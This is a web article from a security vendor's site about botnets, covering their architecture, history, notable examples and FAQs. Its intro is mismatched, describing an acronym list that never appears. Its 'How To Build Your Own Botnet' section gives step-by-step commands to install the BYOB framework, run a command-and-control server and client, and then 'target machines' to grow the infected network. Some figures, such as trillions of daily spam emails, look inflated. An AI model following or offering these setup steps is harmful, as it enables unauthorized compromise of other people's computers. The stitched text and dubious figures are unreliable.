Cybersecurity Guides Jan, 2024: How to BYOB (Build Your Own Botnet) – Techbooks

By Troy Ford | Last Upload on May 2nd 2023 | Home → Guides → How to BYOB! (Build Your Own Botnet) 2023 Cybersecurity Guide

If you are a cybersecurity professional, or just starting to get interested in the field, this cybersecurity acronym list is a perfect tool for everyone in the information security industry!

Cybersecurity acronyms can be confusing, especially with some acronyms having dual meanings – think IP address and IP for Intellectual Property – and some acronyms having very slight differences.

Here, we will look at some of the most used cybersecurity acronyms and what they mean.

Quick Overview

Common Cybersecurity Attacks
Malware
Password Attacks
Physical Attacks
Adversarial Artificial Intelligence

How to Build a Botnet BYOB (Build Your Own Botnet)

Table of Contents

This article explores about Build a Botnet, their history, architecture, and the technology behind them. Early simple botnets have evolved into complex systems of millions of computers, with cybercriminals stealing millions annually from botnet attacks. We provide a guide on Build a Botnet for research purposes, emphasizing maintaining good cybersecurity hygiene to avoid attacks.

How to Build a Botnet BYOB (Build Your Own Botnet) 2023

Picture this: your computer is no longer just yours.

It’s been hijacked by a botnet, a network of compromised machines that criminals can use to carry out devastating cyberattacks.

This article will explore botnets, including their history, technology, and how to build your botnet for research purposes.

What Is a Botnet?

In his book examining the economics of botnets, Yury Namestnikov, the former Head of the Global Research and Analysis Team at Kaspersky Lab, offered a clear definition of a botnet. He described it as “a network of computers infected with a malicious program that allows cybercriminals to control the infected machines remotely without the users’ knowledge.”

A botnet is also known as a zombie network because the infected machines, or “zombies,” are controlled by an external entity without the awareness of the devices’ owners. These zombie computers are used to carry out various tasks or botnet attacks while appearing as usual, functioning devices to their users.

The Architecture of a Botnet

Botnets’ architecture has evolved to improve their efficiency and reduce the likelihood of detection. After infecting a desired number of devices, the botmaster or bot herder controls the bots using any of the following methods:

Client-Server Model
P2P Botnet

The client-server model uses a command-and-control (C&C) server with an IRC-based communication protocol. The botmaster operates the C&C server to send automated commands to the infected bot devices via Internet Relay Chat (IRC). The compromised devices can relay information back to the server.

From its name, the P2P botnet’s architecture is based on a peer-to-peer (P2P) network. This structure takes a decentralized approach to avoid detection and single-point failure, with each connected device acting as a C&C server and a client.

History of Botnets

The earliest notable botnets are SDbot and Agobot, active in the early 2000s. SDbot gets its name from its most common distribution method via Secure Shell (SSH) Daemon attacks. The malware is simple and compact, with 2000 lines of C language and an IRC-based C&C architecture.

Botnets have evolved into complex distributed systems of millions of computers with decentralized control. The low cost of maintaining a botnet and decreasing level of expertise required to manage it drive botnets’ popularity and creation.

Some significant botnets in history include the following:

Kraken

A network hacking spyware program, once the world’s largest botnet in April 2008, with over 400,000 bots and 9 billion daily spam messages.

Srizbi

Along with the Kraken botnet, it sparked controversy in 2008 as one of the largest botnets. It generated immense volumes of spam, known as Janka Threats, with an estimated daily range of 60-100 trillion emails.

Mirai

A 2016 DDoS botnet of 560,000 infected computers spread through brute-force attacks on vulnerable IoT devices such as routers, cameras and DVRs due to weak passwords.

Comparing the sizes of botnets is challenging because they are constantly changing and evolving. While one can be the world’s largest botnet in its respective domain, it’s not straightforward to determine which one has the highest number of infected computers at any given time.

How Do Botnets Work?

The primary foundation in starting a botnet is infecting as many computers as possible and adding devices to the connection so there are enough bots to perform attacks. The larger the number of connected devices, the better, because the bandwidth taken from one computer isn’t enough to process impactful attacks.

One of the most popular ways of spreading the network is by distributing a Trojan horse virus through phishing emails or exploiting security lapses in software and websites. After the virus gets into a new computer, that device becomes infected with a signature malware that connects it back to the botnet server and is connected to all the devices in the botnet network.

Botnet attacks include the following:

SEO spam
Click fraud
DDoS attacks
Theft of confidential information

Maintaining good cybersecurity hygiene, such as keeping your software updated, using strong passwords and being careful of suspicious links or downloads, is essential to keeping your computer secure from botnet attacks. You can also use cybersecurity tools to safeguard your privacy better.

How To Build Your Own Botnet

Creating a new zombie network involves infecting computers with a bot. To start, open your terminal and type the following command lines as steps:

git clone https://github.com/malwaredllc/byob.git
cd byob
pip install -r requirements.txt
python setup.py (before this command processes, it usually asks for your password. Input your device’s password and press enter to continue.)

Next, you will require two terminals: the bot server for sending commands and the bot client for executing tasks. After you’ve finished installing the dependencies, continue the process with the following commands:

python server.py –port 445 (This is for the bot server)
(On another terminal for the bot client) cd /home/iicybersecurity/Downloads/BYOB/byob
python client.py –help (to open and view details about the bot client)
python client.py –name test.py 192.168.1.7 445

The last command sets the name, IP address and port which are test.py, 192.168.1.7 and 445, respectively. The ports for the bot server and client must be the same.

That’s it for creating a new botnet; then, you can target machines to open the bot and increase the number of infected computers.

Frequently Asked Questions

What language are botnets written in?

The programming language for writing a botnet depends on its creator. The most popular choices for writing botnets are the C and C++ programming languages because they offer low-level system access and efficiency. Other languages for writing botnets include Python, Java and PHP.

What is the strongest botnet ever?

There are several criteria to judge the strongest botnet ever, and the answer can change depending on which one. Such criteria include:

The botnet’s size
Duration of its existence
Impact on targeted systems
Capability to launch powerful attacks

Based on attacks, we can call the Mantis botnet the strongest because it launched an attack of 26 million requests per second (RPS), as reported by CloudFare. This botnet performed this attack with 5,000 bots, making each bot deliver an average of 5,200 HTTPS per second.

Is it legal to make a botnet?

Creating or operating a botnet is illegal and can be punished as a felony. It violates laws related to unauthorized access to computers or networks, computer fraud, identity theft and other cybercrime statutes.

Keep Your Business Safe and Secure with Advice from Techbooks!

Botnet attacks include spamming, phishing and DDoS attacks. Depending on the botnet’s architecture, it can be challenging to trace the bot server, but you can take the first step to keep your computer secure by improving your passwords’ strength.

At Techbooks, we provide resources to enable our users to learn and use cybersecurity best practices to protect themselves better. Our expertise gained from over 20 years of experience in the industry allows us to provide the best solutions that fit all of your cybersecurity needs.